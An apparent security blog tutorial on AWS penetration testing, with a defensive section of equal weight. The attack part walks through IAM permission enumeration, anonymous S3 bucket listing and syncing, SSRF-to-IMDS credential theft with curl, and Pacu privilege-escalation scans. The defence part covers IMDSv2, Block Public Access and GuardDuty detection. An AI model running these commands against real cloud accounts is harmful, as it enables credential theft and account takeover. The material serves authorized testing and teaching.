Disclaimer: This article is for education and authorized testing only. Run these techniques exclusively against AWS accounts you own or have explicit written permission to assess (for example, under a signed penetration-testing scope). Unauthorized access to cloud resources is a crime in most jurisdictions and violates the AWS Acceptable Use Policy. AWS no longer requires pre-approval for most pentesting, but you are still bound by their Customer Support Policy for Penetration Testing.
Introduction / Overview
When you move from on-prem Active Directory engagements to the cloud, the kill chain changes shape. There are no domain controllers to Kerberoast; instead you pivot through IAM policies, leaked access keys, public S3 buckets, and the Instance Metadata Service (IMDS). The control plane is the network.
In this article you will learn:
- How AWS IAM authentication and authorization actually work.
- How to enumerate your own permissions safely (even when
iam:ListPoliciesis denied). - How to find and abuse misconfigured S3 buckets.
- How an SSRF bug becomes a full credential theft via IMDS.
- How to automate the post-exploitation phase with Pacu.
- And — given equal weight — how a blue team detects and shuts all of this down.
How It Works / Background
Every AWS API call is signed with SigV4 using an access key pair (AKIA... for long-lived IAM user keys, ASIA... for temporary STS credentials). The request hits the AWS API endpoint, which evaluates an authorization decision across identity policies, resource policies, permission boundaries, SCPs, and session policies. An explicit deny always wins; otherwise an allow anywhere grants access.
Two structural weaknesses are abused constantly:
- Over-permissive IAM. Wildcards like
"Action": "*"or"s3:*"on"Resource": "*"are everywhere. Once you hold any credential, your goal is privilege escalation — e.g.,iam:CreatePolicyVersion,iam:PassRole+ec2:RunInstances, oriam:AttachUserPolicy. - IMDS. EC2 instances expose a link-local endpoint at
169.254.169.254that hands out the credentials of the instance's IAM role. If an app on that instance has an SSRF flaw, an attacker reads those credentials over HTTP — no exploit binary required. IMDSv1 is request/response and trivially abusable; IMDSv2 requires a PUT to obtain a session token first.
Prerequisites / Lab Setup
Spin up a throwaway account (or use CloudGoat to deploy intentionally vulnerable scenarios). Install the tooling:
# AWS CLI v2
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o awscliv2.zip
unzip awscliv2.zip && sudo ./aws/install
# Pacu (Rhino Security Labs' AWS exploitation framework)
pip3 install pacu
# enumerate-iam (brute-forces which API calls your keys can make)
git clone https://github.com/andresriancho/enumerate-iam
pip3 install -r enumerate-iam/requirements.txtBashConfigure a profile with the credentials you have obtained during the engagement:
aws configure --profile target
# AWS Access Key ID: AKIA...
# AWS Secret Access Key: ...
# Default region: us-east-1BashAttack Walkthrough / PoC
Step 1 — Confirm who you are
Never assume. The cheapest first call tells you the account ID, user ARN, and user ID:
aws sts get-caller-identity --profile targetBash{
"UserId": "AIDA...",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/app-deployer"
}JSONStep 2 — Enumerate permissions
If you have iam:ListAttachedUserPolicies / iam:GetUserPolicy, read them directly:
aws iam list-attached-user-policies --user-name app-deployer --profile target
aws iam list-user-policies --user-name app-deployer --profile targetBashMore often IAM read is denied. In that case brute-force the permissions by attempting non-mutating API calls and recording which ones return success instead of AccessDenied:
python3 enumerate-iam.py \
--access-key AKIA... \
--secret-key xxxxxxxx \
--region us-east-1Bashenumerate-iam fires hundreds of read-only calls (list_*, describe_*, get_*) and prints a clean list of everything your key is allowed to do — your roadmap for the rest of the engagement.
Step 3 — Hunt S3 misconfigurations
Bucket names are a global namespace, so they are guessable. Check access posture without credentials first:
# Anonymous listing of a public bucket
aws s3 ls s3://acme-prod-backups --no-sign-request
# Recursively pull everything if it's world-readable
aws s3 sync s3://acme-prod-backups ./loot --no-sign-requestBashEven when object listing is blocked, a permissive bucket policy or ACL may still allow s3:GetObject on guessed keys, or — worse — s3:PutObject, letting you overwrite static site assets or Lambda deployment packages. Check the bucket's own policy if you can read it:
aws s3api get-bucket-policy --bucket acme-prod-backups --profile target
aws s3api get-bucket-acl --bucket acme-prod-backups --profile targetBashStep 4 — SSRF to IMDS credential theft
Suppose the target runs a web app on EC2 with an SSRF vulnerability (a URL-fetch feature, a misbehaving PDF renderer, etc.). Against IMDSv1:
# 1. Discover the role name attached to the instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# -> s3-backup-role
# 2. Dump the temporary credentials for that role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/s3-backup-roleBashThe response contains AccessKeyId (ASIA...), SecretAccessKey, and Token. Export them and you are now operating as the instance role:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identityBashIf the instance enforces IMDSv2, you must first obtain a session token via a PUT, which a naive SSRF (GET-only) cannot do:
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/BashStep 5 — Automate post-exploitation with Pacu
Import the harvested keys into Pacu and run privilege-escalation discovery:
pacu
# Pacu > set_keys
# Pacu > run iam__enum_permissions
# Pacu > run iam__privesc_scanBashiam__privesc_scan checks for ~20 known escalation paths (e.g. iam:CreatePolicyVersion, sts:AssumeRole, lambda:CreateFunction + iam:PassRole) and will offer to exploit any it finds. This is conceptually similar to how AD attackers chase escalation edges; see our Active Directory privilege escalation guide for the on-prem analogue.
Mermaid Diagram

Flow: an initial credential or SSRF foothold leads to permission enumeration, S3 looting or IMDS credential theft, then Pacu-driven privilege escalation to account takeover.
Detection & Defense (Blue Team)
Defense here is mostly about removing the structural weaknesses, then watching the control plane.
1. Enforce IMDSv2 everywhere. This is the single highest-impact control against SSRF credential theft. Require tokens and shrink the hop limit so credentials can't be forwarded:
aws ec2 modify-instance-metadata-options \
--instance-id i-0123456789abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1 \
--http-endpoint enabledBashSet the account-wide default with aws ec2 modify-instance-metadata-defaults --http-tokens required, and disable IMDS entirely on instances that don't need a role.
2. Lock down S3. Enable Block Public Access at the account level so no bucket can be made public, regardless of individual ACLs/policies:
aws s3control put-public-access-block \
--account-id 123456789012 \
--public-access-block-configuration \
BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=trueBash3. Least privilege + boundaries. Replace "*" actions with scoped permissions. Use IAM Access Analyzer to flag external access and to generate least-privilege policies from CloudTrail history. Apply permission boundaries and SCPs so even a compromised admin-ish key can't escalate beyond a ceiling.
4. Detection. Enable CloudTrail (management + data events) and GuardDuty. GuardDuty has purpose-built findings for exactly this kill chain:
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS— role credentials used from outside AWS (the classic SSRF/IMDS theft signal).Discovery:S3/AnomalousBehaviorandRecon:IAMUser/*— the enumeration phase.CredentialAccess:IAMUser/AnomalousBehavior.
Hunt in CloudTrail for the brute-force fingerprint: a burst of AccessDenied errors across many distinct eventNames from one principal in seconds is enumerate-iam or Pacu. Alert on GetCallerIdentity immediately followed by mass List*/Describe* calls. For credential exfiltration specifically, GuardDuty correlates the sourceIPAddress of an ASIA session against the instance's expected IP.
5. Rotate and scope keys. Eliminate long-lived AKIA user keys in favor of roles and short-lived STS sessions. Scan your code, CI logs, and public repos with tools like trufflehog or git-secrets before attackers do.
Conclusion
AWS attacks rarely involve memory corruption — they're about identity. A single leaked key, a guessable bucket, or one SSRF bug can cascade into account takeover through IMDS and IAM privilege escalation. The defender's job is symmetrical: enforce IMDSv2, block public S3, drive least privilege with Access Analyzer, and wire CloudTrail into GuardDuty so the enumeration and exfiltration phases light up before they reach iam__privesc_scan. If you found this useful, see our cloud SSRF exploitation deep-dive and secrets in CI/CD pipelines.
References
- MITRE ATT&CK — T1552.005 Unsecured Credentials: Cloud Instance Metadata API
- MITRE ATT&CK — T1078.004 Valid Accounts: Cloud Accounts
- HackTricks Cloud — AWS Pentesting
- Rhino Security Labs — Pacu and CloudGoat
- AWS Docs — Use IMDSv2
- AWS Docs — Amazon S3 Block Public Access
- AWS Docs — GuardDuty finding types



Comments